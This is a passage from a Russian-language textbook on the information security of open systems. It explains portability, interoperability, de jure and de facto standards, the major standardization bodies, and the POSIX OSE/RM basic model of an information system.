Несовместимость. Внутри каждой из разнородных сред технологические решения создавались, основываясь только на архитектуре, структуре и функциональных возможностях этих сред. Перемещение ПП между различными системами и адаптация пользователей к работе на различных системах могут быть затруднены, так как при объединении разнородных сред в создающейся сложной среде модули будут использовать различные аппаратные, программные и коммуникационные компоненты.
Большое количество систем. При общей тенденции непрерывного снижения стоимости, улучшения функциональности и упрощения использования АО количество применяемых вычислительных систем постоянно растет. Иногда это вызывает многократное увеличение количества вычислительных систем в организации. Более того, количество вычислительных систем, участвующих в обработке данных при решении той или иной задачи, может быть вообще не определено или заранее неизвестно, например если ИС построена на основе глобальной сети.
Недостаток глобальной инфраструктуры. Превращение совокупности разнородных сред во взаимосвязанную систему требует создания согласованной, управляемой инфраструктуры для обеспечения эффективной работы всей сложной среды в целом.
Перечисленные качества сложных сред ослабляют полезность, эффективность и работоспособность СОД. Это может выразиться в следующих проблемах:
	в трудности разделения информации между различными системами вследствие различных форматов представления и методов организации данных, различных ОС и ПП, различных протоколов, не позволяющих осуществить соединение между системами;
	трудности разделения ресурсов между различными системами вследствие несовместимости методов подключения устройств, коммуникационных интерфейсов и т. п.;
	неспособности перенести с системы на систему ПП, созданные пользователем, и адаптироваться самому пользователю к работе в различных средах;
	неспособности управлять системой из одной точки, расширять (масштабировать) систему, обнаруживать источники сбоев и неполадок и устранять их;
	высокой стоимости обучения персонала вследствие использования в различных системах разных методов управления системой, пользовательских интерфейсов, процедур инсталляции ПО и других функций;
16
Информационная безопасность открытых систем
	трудности обеспечения общего комплекса мер по защите информации, так как системы обеспечивают различные уровни защищенности и непохожие механизмы для отслеживания целостности системы.
Решение практически всех перечисленных проблем может быть сведено к выполнению следующих двух требований [7]:
1) переносимости (portability) приложений, данных и пользователей между системами;
2) способности к взаимодействию (interoperability) между системами, включая управление системами и использование ресурсов множества систем.
Переносимость позволила бы перемещать прикладные решения, информационные ресурсы, пользователей и персонал на новые системные платформы или между платформами в соответствии с потребностями функционирования ИС. Способность к взаимодействию - безболезненно объединять существующие и новые системы в единую инфраструктуру управления и разделения ресурсов. Выполнение двух обозначенных требований в совокупности обеспечивает совместимость ИС. Такие требования привели к появлению научно-технического направления, получившего название технологии открытых систем.
1.1.2. Концепция открытых систем
Термин "открытые системы" подразумевает сложный, постоянно растущий набор требований к ИС. Эти требования тесно связаны с тенденциями построения распределенных вычислительных сред на гетерогенной основе, что будет подробно рассмотрено далее. Две основные группы требований к открытым системам состоят в следующем:
1) идеальное решение для пользователей открытой системы - технология, которая позволяет любой ПП осуществлять доступ и разделять свои собственные локальные данные и любой тип данных, размещенных на удаленной гетерогенной системе, поддерживая одинаковый уровень производительности;
2) пользователи должны иметь возможность осуществлять свободный выбор наилучших для них решений для всех компонентов открытой системы, которые наиболее полно отвечают их требованиям, без ограничения в существующих аппаратном и программном обеспечении и архитектурах систем.
В идеале открытые системы должны предоставлять открытые решения задач в любой области обработки данных, т. е. обеспечивать возможность потребителю выбирать из множества источников любые доступные средства, наиболее полно удовлетворяющие его запросы и позволяющие ему максимально эффективно решать стоящие перед ним задачи. Так, ОС должны обеспечивать одни и те же интерфейсы к системным сервисам независимо от класса систем (от мейнфреймов до персональных компьютеров) и независимо от архитектуры системы (от единичного процессора CISC-архитектуры до многопроцессорных систем из RISC-процессоров). ПП должны быть способны прозрачно осуществлять доступ к данным, вычислительным мощностям, программам пользователя и другим ресурсам, например принтерам, дисковым массивам и т. п. Обслуживающий персонал и пользователи не должны замечать отличий в интерфейсах, наборе сервисов и инструментах на платформах различных фирм-производителей или эти отличия должны быть минимальными.
1. Стандартизация и модельное представление открытых информационных систем
17
Таким образом, при выполнении перечисленных идеальных условий организации смогут легко конструировать свою СОД (и на основе ее - свою ИС) из стандартных компонентов.
Однако такая задача трудно реализуема на практике. Технологии и стандарты могут перекрывать друг друга по выполняемым функциям. Некоторые стандарты и рекомендации могут быть очень сложными для их полной практической реализации. Новые технологии постоянно совершенствуются, и трудно предсказать, какая из них окажется удачной. Наконец, существующие системы также должны быть приспособлены к архитектуре открытых систем.
Хотя открытые системы не являются решением всех проблем, эта идея хорошо разработана во многих областях, например в телекоммуникации. Она может предоставить основу для использования гетерогенности и других специфических особенностей вычислительных систем для получения максимального эффекта от построенной на их основе ИС. На сегодняшний день открытые системы являются единственным общепризнанным способом решения обозначенных проблем. Вместе с тем концепция открытых систем является динамичной, пока еще не вполне законченной, быстро развивающейся и доступной для всех заинтересованных областью ИТ сторон.
Существует несколько определений понятия открытая система (или среда открытых систем). Наиболее известными и широко принятыми являются следующие четыре определения, данные Международным институтом инженеров по электронике и электротехнике (IEEE), Всемирной независимой организацией по открытым системам Х/Open, Международным консорциумом OSF и Международным телекоммуникационным союзом (ITU).
По определению IEEE [7, 8] средой открытых систем называется "исчерпывающий и консистентный (т. е. последовательный, внутренне согласованный и взаимосвязанный) набор международных стандартов по ИТ и функциональных профилей стандартов, который специфицирует интерфейсы, сервисы и поддерживаемые форматы для достижения способности к взаимодействию и переносимости приложений, данных и пользователей".
По определению Х/Ореп [7] открытые системы - это "среда ПО, сконструированная и реализованная в соответствии со стандартами, которые являются независимыми от поставщиков и общедоступными".
По определению OSF [7] открытой системой называется "среда, имеющая стандартный набор интерфейсов для программирования, коммуникаций, управления системой и пользовательских интерфейсов, использующих способность к взаимодействию, переносимость и сохранение инвестиций".
В определении ITU и Международной организации по стандартизации (ISO) [9] среда взаимодействия открытых систем - это "абстрактное представление набора концепций, элементов, функций, сервисов, протоколов и т. д., определенных в эталонной модели OSI, и производных от них специфических стандартов, которые, будучи применены, позволяют осуществлять связь между открытыми системами".
Несмотря на отсутствие единства в определениях среди различных организаций, можно выделить те свойства открытых систем, которые отражены во всех определениях и, следовательно, являются бесспорными [5, 7]:
	понятие "открытая система" относится преимущественно к ПО;
	основная цель открытых систем состоит в обеспечении:
18
Информационная безопасность открытых систем
•	способности к взаимодействию между гетерогенными системами;
•	переносимости ПП, пользователей и данных между гетерогенными системами;
	понятие "открытая система" может применяться и по отношению к отдельно взятой вычислительной системе, и к СОД в целом, и к построенной на ее основе ИС, если они согласуются с концепцией открытости;
	стандарты играют ключевую роль в открытых системах.
Последнее свойство является особенно важным, так как на него прямо указывают все определения. ИС не может рассматриваться как открытая до тех пор, пока она не реализует функции, которые согласуются со стандартами, имеющими отношение к соответствующей области. Учитывая центральное место стандартов в концепции открытых систем, важно рассмотреть более подробно, что представляют собой стандарты, как и кем они создаются.
1.1.3. РОЛЬ СТАНДАРТОВ В ТЕХНОЛОГИИ ОТКРЫТЫХ СИСТЕМ.
Основные группы стандартов и организации
ПО СТАНДАРТИЗАЦИИ
Согласно определению Международной организации по стандартизации (ISO) стандарты - это документированные соглашения, содержащие технические условия или другие точные критерии, которые обычно используются как правила, принципы или определения характеристик для гарантии того, что материалы, продукты, процессы и услуги соответствуют своему назначению.
Стандарты в области ИТ являются соглашениями о функциональности и интерфейсах, которые поддерживаются продуктом или группой продуктов информационных технологий, обеспечивая таким образом совместимость между системами. Стандарты в широком смысле слова могут сильно различаться по своему статусу, по степени влияния на производителей и поставщиков продуктов и решений: от простого взаимного соглашения между несколькими совместно работающими людьми или организациями до формальных, утвержденных организациями по стандартизации документов с признанным международным статусом.
Рассмотрим основные аспекты и значение стандартизации для ИТ, и в особенности для открытых систем.
Во-первых, стандарты вырабатывают единый, нормированный, согласованный порядок рассмотрения объекта стандартизации: терминологию, нормативные модели, формальное описание процедур обращения с объектом, спецификации, структуру объекта и т. п. Стандартизация позволяет избежать несогласованного, субъективного, неполного или одностороннего взгляда на объект стандартизации.
Стандарты позволяют замаскировать неоднородность объектов стандартизации, предоставляя такую модель, которая помогает избежать различий в представлении, описании и реализации этого объекта. В отсутствие такой модели каждый разработчик был бы вынужден создавать свою собственную модель. Таким образом, стандарт уменьшает потенциальную разнородность объекта стандартизации. Как будет видно далее, многие стандарты являются именно абстрактными моделями различных аспектов обработки данных, например общеизвестная модель ISO OS1.
Стандарты специфицируют общую форму, к которой должны "сходиться" разнородные системы для того, чтобы выполнять совместную работу или обеспечивать основу для переносимости между ними. Если две системы поддерживают стандарт
1. Стандартизация и модельное представление открытых информационных систем
19
в дополнение к их собственным формам, тогда любая пара систем сможет быть совместимой друг с другом. Таким образом, стандарт облегчает управление гетерогенностью. Разработчик ИТ заинтересован в том, чтобы его продукты и системы соответствовали стандартам. Это путь к широкому признанию его продукции и росту числа потребителей. Соответствия стандартам можно достичь двумя способами: либо добиваться принятия своей технологии в качестве стандарта, либо как можно быстрее интегрировать в свои продукты технологию, претендующую быть стандартом. Вследствие того что любая организация по стандартизации проводит широкое и всестороннее обсуждение документов, прежде чем они становятся стандартами, как правило, стандартом становится объективно наилучшее по большинству критериев решение (спецификация, модель и т. д.).
Другой важный аспект стандартизации в том, что любые изменения в стандартах или новые стандарты почти всегда (но не всегда) принимают во внимание созданную ранее базу стандартов в этой области. Организации по стандартизации не заинтересованы в отчуждении уже существующего сообщества пользователей стандартизованной технологии, а в ряде случаев они прямо участвуют в выработке стандартов.
Наконец, важно провести различие между стандартами и реализующими их технологиями. Стандарт описывает абстрактные сущности, определенные только на бумаге: модели, спецификации, описания интерфейсов и протоколов, схемы, форматы данных и т. п. Описанные в нем объекты с определенной функциональностью должны быть затем реализованы с использованием определенной технологии: программно или аппаратно. Разрабатываемые и выпускаемые тем или иным производителем в соответствии со стандартами продукт или система, как правило, имеют значительно больше функций, чем те, которые описаны в стандарте. Стандарт обеспечивает лишь наименьший "общий знаменатель" для продуктов определенного типа.
Различают два типа стандартов: стандарты де-юре и стандарты де-факто. Стандарты де-юре утверждены организациями по стандартизации и имеют юридически оформленный статус официальных документов. Стандарты де-факто могут являться результатом признания большим количеством производителей и потребителей удачного научного или технологического решения или быстро набирающей силу, обладающей большими потенциальными возможностями в будущем технологией. Они не имеют никакого официального статуса и могут быть описаны в произвольной форме. Станет или нет какая-либо технология стандартом де-факто - определяет только рынок.
Стандарты де-факто могут быть в конце концов приняты как стандарты де-юре, и наоборот (по крайней мере теоретически), стандарты де-юре должны в итоге становиться стандартами де-факто, будучи принятыми рынком. Рассмотрим более подробно эти две категории стандартов.
Стандарты де-юре характеризуются следующими особенностями.
	Формальные процедуры тщательного согласования и утверждения этих стандартов приводят к тому, что их разработка занимает весьма длительное время, как правило много лет. Стандарты не успевают за быстрым развитием ИТ и нередко принимаются уже по факту их широкого распространения.
	Стандарты, как правило, являются сложными и могут включать несколько различных подходов к решению одной задачи, поэтому они предоставляют произво
20
Информационная безопасность открытых систем
дителям и потребителям широкий спектр возможностей реализации (в том числе необязательных).
	Продукты появляются позже стандартов (за исключением случаев, когда утвержден стандарт де-факто).
	Стандарты открыты для всех разработчиков и производителей на равных условиях.
	Организации по стандартизации обеспечивают процесс совершенствования стандартов, который позволяет всем заинтересованным сторонам подавать свои предложения для рассмотрения.
	Эти стандарты определяют долговременные направления развития, независимые от конкретных продуктов и решений.
Стандарты де-факто отмечены следующими особенностями:
	реализации этих стандартов доступны уже сейчас, возможно даже ото многих поставщиков: нет необходимости ждать их окончательного согласования и утверждения;
	существует опыт применения этих стандартов, хорошо известны их сильные и слабые стороны;
	стандарты де-факто могут использовать произвольный, удобный для этих стандартов набор существующих технологических решений, не обязательно состоящий из стандартов де-юре;
	истинная "открытость" этих стандартов всегда может быть подвергнута сомнению.
Для многих стандартов де-факто технология, реализующая стандарт, либо предшествует, либо становится доступной одновременно со спецификациями. Станет ли спецификация общепризнанной, зависит либо от успеха исходной технологии, либо от степени согласия других производителей со спецификацией. Часто можно видеть несколько конкурирующих технологий и/или спецификаций одновременно. В этом случае бывает трудно предсказать, какая из них завоюет успех на рынке. Тогда, чтобы добиваться стандартизации своих продуктов, производители могут объединяться в различные организации: консорциумы, альянсы, фонды и т. п.
Из-за множества стандартов и большого количества необязательных или альтернативных возможностей реализации, предусмотренных во многих стандартах де-юре, некоторые заинтересованные организации разрабатывают так называемые профили стандартов. В профилях точно отмечается, какие стандарты и какой выбор возможностей из этих стандартов они желают реализовать в ИС. Профили обычно специфицируют, где это возможно, подмножества стандартов де-юре, а оставшиеся "свободные места", для которых не существует стандартов де-юре, заполняют стандартами де-факто.
Профили, как и стандарты, играют важную роль в открытых системах. Число стандартов и областей, которые они покрывают, очень велико и продолжает расти. Все труднее становится конструировать открытые решения, которые могут свободно взаимодействовать друг с другом или могут быть получены из других открытых решений. Это входит в противоречие с самой концепцией открытых систем. Профили предназначены для снижения потенциальной возможности несовместимого использования продуктов, соответствующих стандартам. Кроме того, они помогают идентифицировать пробелы, которые существуют в стандартизации ИТ. Профили могут
1. Стандартизация и модельное представление открытых информационных систем
21
создаваться самими организациями по стандартизации, организациями пользователей, правительственными органами.
Так, правительственные профили возникли в результате возрастания потребностей упростить и облегчить процесс применения ИТ в правительственных структурах путем определения общего набора требований и исключения независимого изучения пользователями огромного множества сложных, объемных стандартов. Правительственные профили могут комбинировать международные и национальные стандарты той страны, для которой они создаются. Тем самым обеспечивается стабильность деятельности правительственных учреждений. Цель этих профилей - добиться взаимодействия средств различных поставщиков на рабочих местах правительства. Профили, в свою очередь, явились началом развития более сложных форм структурной логической организации стандартов: архитектур, нормативных моделей и т. п.
Различается три типа организаций, разрабатывающих стандарты.
1.	Национальные и международные организации по стандартизации. К этой категории относятся, например, ISO, IEC, ITU, IEEE (международные), Госстандарт РФ, ANSI, NIST (США) и др. Эти организации являются единственным источником стандартов де-юре, тогда как остальные два типа организаций производят только стандарты де-факто.
2.	Консорциумы и альянсы фирм-производителей. К этой категории относятся OSF, Unix International, Power-Open и др. Они способствуют созданию стандартов де-факто, распространяя спецификации и технологии на множество производителей. Однако поддержка технологий таким образом может быть недостаточной, если она не соответствует требованиям организаций пользователей.
3.	Организации пользователей. Они определяют стандарты де-факто либо посредством спецификации профилей, либо выявляя их на рынке ИТ. Первый способ применяют крупные пользователи, такие, как правительственные организации или ассоциации пользователей. Второй способ предполагает исследование преимуществ и недостатков каждого продукта, его распространенности у пользователей. Принятие или непринятие рынком той или иной технологии (продукта, решения) есть окончательный показатель стандарта де-факто. Если они не соответствуют тому, что требует пользователь, он не будет покупать их.
Охарактеризуем некоторые из наиболее важных и влиятельных организаций, вовлеченных в процесс разработки стандартов по ИТ.
1.	Международная организация по стандартизации (International Organization for Standardization, ISO). ISO - международная неправительственная организация. Как записано в ее уставе, она "осуществляет разработку международных стандартов и координирует деятельность в области стандартизации с целью содействия взаимному сотрудничеству в важных областях человеческой деятельности: интеллектуальной, научной, технологической и экономической". Сейчас в состав ISO входят около 130 государств. Каждое государство участвует в работе ISO через свой национальный орган стандартизации. Государства могут быть членами, членами-корреспондентами или членами-подписчиками ISO. Каждое государство-член ISO возглавляет один или несколько технических комитетов или подкомитетов. СССР был одним из учредителей ISO в 1946 г. Госстандарт РФ участвует в работе ISO в качестве национальной организации по стандартизации.
22
Информационная безопасность открытых систем
ISO пользуется консультативным статусом ООН. Первый стандарт был выпущен ISO в 1951 г. Сфера ответственности ISO за разработку стандартов охватывает все области техники, за исключением электроники и электротехники (это прерогатива IEC). Структурно ISO состоит из технических комитетов (ТС), которые делятся на подкомитеты (SC). Для обеспечения работы по подготовке стандартов внутри подкомитетов образуются рабочие группы (WG). Группы, работающие над решением конкретной задачи, называются TF (Task Force). Каждый разрабатываемый стандарт проходит последовательно несколько стадий:
NWI - New Work Item;
WD - Working Draft;
CD - Committee Draft;
DIS - Draft International Standard;
IS — International Standard.
Согласованный проект принимается в качестве стандарта, если за него проголосовало не менее 75 % государств-членов ISO. На сегодняшний день действует около 12 тыс. стандартов ISO.
2.	Международная электротехническая комиссия (International Electrotechnical Commission, IEC) — специализированная международная организация, которая разрабатывает стандарты, связанные с электроникой, электротехникой и ИТ. IEC -одна из первых международных организаций, начавших процесс разработки международных стандартов. Образована в 1906 г., с 1926-го по 1942 г. носила название International Federation of the National Standardizing Associations (ISA); сферой ее ответственности было в основном машиностроение. В настоящий момент она дополняет деятельность ISO в области информационных технологий. IEC совместно с ISO сформировала Объединенный технический комитет, JTC1 (Joint Technical Committee) для координации разработки стандартов по ИТ.
3.	Международный телекоммуникационный союз (International Telecommunications Union, ITU). ITU - одна из первых международных организаций. Союз был основан в 1865 г. и до 1947 г. носил название Телеграфного союза. Сейчас он входит в систему органов ООН и объединяет около 160 стран. В структуру ITU входят Международный консультативный комитет по радиосвязи (ITU-R, до 1993 г. - CCIR) и Международный консультативный комитет по телефонии и телеграфии (ITU-T, до 1993 г. - CCITT). Название последнего было заменено на ITU/TSS (Telecommunications Standard Sector), но более известным остается предыдущее. Стандарты ITU официально называются рекомендациями. Они принимаются на сессиях ITU, которые проходят один раз в четыре года. Разработка стандартов, таким образом, занимает весьма длительное время.
ITU занимается стандартизацией открытых телекоммуникационных сервисов. ITU-T выпускает 25 серий рекомендаций (обозначаемых буквами латинского алфавита от А до Z), каждая из которых насчитывает до нескольких десятков или сотен рекомендаций. Наиболее известны серии, посвященные стандартизации взаимодействия открытых систем и сетей ISDN. Многие рекомендации ITU были приняты в качестве стандартов ISO.
4.	Международный институт инженеров по электронике и электротехнике (The Institute of Electrical and Electronics Engineers, IEEE). IEEE был основан в 1884 г. В настоящее время активно участвует в разработке стандартов для компью
1. Стандартизация и модельное представление открытых информационных систем 23
терной промышленности. IEEE работает в тесном сотрудничестве с другими международными организациями, в частности с ISO, так что между стандартами IEEE и эквивалентными стандартами ISO практически нет никаких различий.
IEEE разрабатывает три типа спецификаций:
	стандарты - спецификации с предписательными требованиями;
	рекомендованные практики - спецификации действий, процедур и практик, рекомендуемые IEEE;
	руководства — описывают спектр альтернативных возможностей без рекомендации определенного подхода.
Два наиболее известных стандарта IEEE - стандарты серии 802 по локальным вычислительным сетям и стандарты POSIX.
5.	Internet Architecture Board (IAB) - неофициальная организация, создающая систему стандартов для среды Интернета. IAB основана в 1992 г. Состоит из двух подразделений: IETF (Internet Engineering Task Force), которая ответственна за разработку краткосрочных инженерных документов, и IRTF (Internet Research Task Force), которая занимается долгосрочными исследованиями. IAB ведет работу в девяти функциональных областях: приложения, сервисы Интернета, управление сетями, операционные требования, интеграция с OSI, маршрутизация, безопасность, транспортные сервисы, сервисы пользователя.
Наиболее известными документами этой организации является серия так называемых RFC (Request for Comments). Они различны по своему статусу: некоторые из них являются утвержденными стандартами для Интернета, другие рекомендованы к использованию, но не являются обязательными, третьи вообще служат справочными материалами. Значительная часть из них является стандартами де-факто. Документы RFC создавались с целью определения минимально необходимого набора спецификаций для обеспечения нормальной работы глобальной информационной среды. Сегодня этот минимум включает уже более 2,5 тыс. стандартов.
6.	The Open Group образована в 1993 г. в результате слияния консорциума OSF и организации Х/Open как международная некоммерческая организация с целью содействия развитию технологий открытых систем и открытых распределенных сред. The Open Group занимает особое положение: можно утверждать, что она находится между первой (официальные органы) и второй (неофициальные) категориями организаций. Она одобряет стандарты де-юре, согласует и разрабатывает стандарты де-факто, и ее документы имеют большое влияние на промышленность. Однако в отличие от промышленных групп и консорциумов она не внедряет отдельные продукты, технологии или решения фирм-производителей. Многие свои проекты The Open Group ведет совместно с официальными организациями по стандартизации, прежде всего с ISO.
7.	Open Software Foundation (OSF) - некоммерческий международный консорциум, в 1993 г. вошедший в состав The Open Group. Это научно-производственная организация, цель которой - создание спецификаций для ПО открытых систем с целью поддержки различных производителей. Широко известны разработки OSF, которые объединяют лучшие достижения промышленности: набор спецификаций и исходных кодов для Unix-подобных ОС OSF/1, графический интерфейс OSF/Motif, набор сервисов для поддержки распределенных приложений OSF/DCE, набор сервисов для
24
Информационная безопасность открытых систем
управления системами OSF/DME, модель и спецификация интерфейсов для разработки переносимых-приложений в среде открытых систем OSF AES.
8.	Х/Open — всемирная некоммерческая независимая организация по открытым системам, основанная в 1984 г. и вошедшая в состав The Open Group в 1993 г. Главными разработками этой организации являются спецификации САЕ (Common Application Environment) - модель и стандартный набор интерфейсов программирования, опубликованные в документах XPG. САЕ основана преимущественно на стандартах де-юре (в том числе POSIX) и включает стандарты де-факто и промышленные стандарты производителей.
9.	Unix International (UI). В настоящее время эта организация ликвидирована, но во многом благодаря ей понятие "открытые системы" ассоциируется с ОС Unix и стеком протоколов TCP/IP (Transmission Control Protocol/ Internet Protocol).
Кроме перечисленных, большое влияние на технологии открытых систем оказывают также следующие организации: OMG (Object Management Group), NMF (Network Management Forum), W3C (World Wide Web Consortium) и др.
Информация о международных и национальных органах стандартизации, порядке их работы и целях деятельности, разрабатываемых стандартах, как правило, может быть получена с соответствующих веб-страниц Интернета:
	ISO [http://www.iso.ch];
	The Open Group [http://www.opengroup.org];
	IEEE [http://www.ieee.org];
	ITU [http://www.itu.ch];
	IAB [http://www.ietf.org];
	OMG [http://www.omg.org];
	Госстандарт РФ (Государственный комитет Российской Федерации по стандартизации, метрологии и сертификации) [http://www.gost.ru, http://www.interstan-dard.gost.ru - каталог российских и международных стандартов],
	NIST (Национальный институт стандартов и технологий США) [http://www.nist.gov].
Перечни и краткие аннотации стандартов могут быть также получены по адресам: http://www.iso.ch/cate/cat.html (стандарты ISO и ISO/IEC); http://www.itu.int/publica-tions/index.html (рекомендации 1TU ).
1.2. Совместимость открытых систем
Как было отмечено в предыдущем параграфе, основными требованиями к совместимости систем в сложной среде является переносимость и способность к взаимодействию. Рассмотрим теперь подробнее смысл этих требований, различие между ними, способы их реализации в среде открытых систем. Для этой цели нам потребуется ввести функциональную модель ИС, которая в дальнейшем будет детализирована и использована для размещения в ней и более подробного рассмотрения стандартов и технологий открытых систем.
1.2.1. Переносимость и способность к взаимодействию
Переносимость означает возможность перемещать между вычислительными системами ПП, данные и пользователей [6]. Концепция переносимости применяется
1. Стандартизация и модельное представление открытых информационных систем
25
к разделенным, не связанным между собой системам, т. е., когда мы хотим взять один из этих объектов (ПП, данные, пользователя) из одной системы в другую, мы говорим о переносимости.
Переносимость имеет три составляющие.
Переносимость ПП означает возможность исполнения ПП пользователя на платформе, отличной от той, для которой она была создана изначально. Само понятие переносимости не подразумевает никакого конкретного способа достижения этого качества открытых систем, хотя, как будет видно далее, переносимость приложений, например, может быть достигнута либо на уровне исходных текстов приложений на языках программирования, либо на уровне исполняемых кодов. В первом случае исходный текст перекомпилируется на каждой новой платформе, во втором - программа компилируется один раз и может исполняться на любой платформе из обозначенного множества. Но ни в том, ни в другом случае это никак не влияет на пользователя, так как он всегда приобретает уже готовый объектный код.
Переносимость данных означает возможность доступа приложений к одним и тем же данным на различных платформах (считая их не связанными между собой!), т. е. приложения должны иметь единые механизмы манипулирования данными: создание, удаление, поиск, копирование и т. п.
Наконец, переносимость пользователей означает, что пользователям и обслуживающему персоналу не потребуются дополнительные затраты на обучение, привыкание и накопление опыта работы на различных вычислительных системах, входящих в открытую среду. Они всюду будут работать с системой через единый интерфейс, обладать одинаковым набором сервисов, иметь равные возможности управления системой, равные права доступа к ресурсам и т. д.
Способность к взаимодействию означает способность разнородных вычислительных систем выполнять некоторую работу вместе [6]. Очевидно, что необходимым условием совместной работы двух или более систем является их взаимосвязанность. Они должны иметь физическое соединение между собой, которое позволит обмениваться данными. Но простого соединения вычислительных систем в сеть недостаточно для обеспечения возможности обмена данными. Наличие различных типов сетей: множества технологий передачи данных, множества производителей, множества коммуникационных протоколов - делает необходимым решение следующей задачи. Любая вычислительная система должна быть доступна из любой точки в пределах всей сложной сети. Когда мы хотим иметь возможность использовать ресурсы другой системы с имеющейся у нас системы, мы говорим о способности к взаимодействию.
Однако сама по себе возможность обмена данными через вычислительную сеть еще не обеспечивает способности систем к взаимодействию. Им необходимо достичь общего понимания работы, которую они выполняют, а именно все системы должны единообразно воспринимать порядок и значение сообщений, которыми они обмениваются, а также ту работу, которую каждая из систем должна выполнять индивидуально в ответ на получаемые сообщения. В общем случае эта задача решается при помощи коммуникационного интерфейса.
Итак, способность к взаимодействию позволяет вычислительным системам совместно выполнять некоторую работу. В зависимости от характера работы это качество может быть представлено в системах в различной степени: от способности про
26
Информационная безопасность открытых систем
стой передачи файлов до способности работать как полностью распределенная система с прозрачным хранением и обработкой данных.
Переносимость и способность к взаимодействию не являются взаимно исключающими понятиями. Открытые системы предоставляют пользователям обе эти возможности, хотя не все пользователи и не всегда могут ощущать их одновременно.
Заметим, что, например, определение IEEE среды открытых систем можно расчленить на две составляющие в соответствии с понятиями совместимости и способности к взаимодействию. С одной стороны, открытая система подразумевает ПО "исчерпывающий и консистентный набор международных стандартов по ИТ... который специфицирует интерфейсы, сервисы и поддерживаемые форматы для достижения... переносимости приложений, данных и пользователей", а с другой стороны, "исчерпывающий и консистентный набор международных стандартов... который специфицирует интерфейсы, сервисы и поддерживаемые форматы для достижения способности к взаимодействию...".
Таким образом, можно сделать вывод, что переносимость и способность к взаимодействию - различные, но взаимодополняющие качества открытых систем. Переносимость может рассматриваться как временной аспект совместимости: она позволяет перемещать ресурсы из одной системы в другую во времени. Способность к взаимодействию может рассматриваться как пространственный аспект совместимости открытых систем: она позволяет множеству систем, разделенных в пространстве, сообща использовать ресурсы.
1.2.2. Базовая модель информационной системы
Как уже отмечалось, в настоящее время существует очень большое количество стандартов в области открытых систем. Они определяют основные элементы технологии открытых систем: эталонные модели, сервисы, интерфейсы, форматы, протоколы, руководства и рекомендованные методики. Эти стандарты могут различаться по сложности, по широте охватываемых проблем и относиться к любому аспекту ИТ. Чтобы распознать и позиционировать различные стандарты, связанные с переносимостью и способностью к взаимодействию, будем использовать простую модель ИС, показанную на рис. 1. За основу в ней берется модель POSIX OSE/RM, описанная в документе IEEE Pl003.0 "Guide to the POSIX Open Systems Environment", которая подвергается дальнейшей декомпозиции по методике, используемой в документах фирмы IBM [5, 7]. Выбор модели OSE/RM объясняется тем, что она является наиболее простой и наиболее общей. Она взята за основу в большинстве других, более сложных моделей. Эта модель не является определяющей по отношению к рассматриваемым далее стандартам, она лишь средство классификации стандартов. Методика фирмы IBM была выбрана вследствие того, что она представляется наиболее удобным, объективным и независимым от продуктов конкретных фирм методом описания ИС, не нуждающимся в то же время в привлечении сложных структур и понятий. Главное ее преимущество заключается в том, что она позволяет легко классифицировать стандарты двумя способами:
	как интерфейсы программирования (форматы) или протоколы;
	как относящиеся либо к переносимости, либо к способности к взаимодействию.
1. Стандартизация и модельное представление открытых информационных систем
27
Рис. 1. Базовая модель ИС
Основными элементами модели являются следующие блоки и интерфейсы между ними:
1.	Прикладное ПО (Application Software, AS) представляет собой ПО, специфичное для конкретных задач конечных пользователей и потребителей услуг ИС.
2.	Платформа приложений (Application Platform, АР) представляет все остальные элементы СОД, за исключением ПП: все АО с размещенными на нем ОС и другими компонентами и подсистемами системного ПО.
ПП запрашивают ресурсы от платформы посредством вызова сервисов через интерфейс — интерфейс прикладного программирования (Application Programming Interface, API). Ресурсы, находящиеся вне платформы, запрашивают сервисы через другой интерфейс — интерфейс внешней среды (External Environment Interface, EEI).
Внутренняя структура АР в модели OSE/RM намеренно не рассматривается вследствие того, что разные разработчики и производители могут иметь различный взгляд на наполнение платформы, а модель должна обеспечить единый, предельно общий взгляд.
3.	Внешняя среда (External Environment, ЕЕ) представляет все объекты вне системы, с которыми она взаимодействует каким-либо образом: людей, коммуникационные средства, сменные носители данных и средства ввода-вывода.
Интерфейс между АР и ЕЕ включает в себя форматы данных, коммуникационные протоколы, человекомашинный интерфейс и т. п.
Заметим, что фактически эта модель является обобщенной моделью технологической машины по обработке информации. В ней можно увидеть модель вообще любой технологической машины: для этого достаточно только соответствующим образом переименовать компоненты модели.
Для удобства дальнейшего рассмотрения необходимо более подробно охарактеризовать все три основные составляющие модели.
Прикладное ПО. В общем случае на платформе может исполняться одновременно множество ПП, и каждая ПП может пользоваться при своем исполнении множеством API для доступа к различным сервисам платформы. Способы взаимодействия ПП с платформой мы рассмотрим ниже.
Внешняя среда. Внешняя среда состоит из трех типов объектов: пользователей, внешних объектов данных, коммуникационных средств (хотя разбиение внешней среды именно таким образом в некотором роде произвольно). Внешние объекты данных включают все устройства ввода-вывода (принтеры, плоттеры, сканеры, мониторы, клавиатуры, устройства чтения пластиковых карт и т. п.) и сменные носители данных (гибкие диски, дисковые массивы, оптические диски, в том числе CD, CD-RW, DVD и т. п.). Коммуникационные средства включают каналы связи, локальные и глобальные сети и все составляющее их коммуникационное оборудование. АР осуществляет доступ к этим объектам через EEL Этот интерфейс принимает форму про
28
Информационная безопасность открытых систем
токолов, форматов и потоков данных и включает такие аспекты, как формат данных, формат экрана, поведение объектов на экране, протоколы обмена данными и т. д.
Платформа приложений. АР включает все аппаратное и размещенное на нем системное программное и микропрограммное обеспечение и различные программные подсистемы (кроме ПП), например такие, как системы управления базами данных (СУБД), менеджеры транзакций, средства автоматизированного проектирования, средства административного управления, средства защиты информации (СЗИ). Следовательно, структура типичной платформы обычно является весьма сложной. Многие модели рассматривают внутреннюю структуру платформы, но здесь не будем пользоваться фиксированной внутренней структурой, так как среди документов различных организаций и фирм не существует единого мнения по этому вопросу.
Отвлекаясь от конкретного состава аппаратно-программных средств, платформу приложений следует понимать прежде всего как самодостаточный (минимальный) набор функциональности, который представлен необходимо зависимыми между собой компонентами. Основная задача платформы — организованное исполнение кода ПП, предоставление ПП доступа к аппаратным и информационным ресурсам.
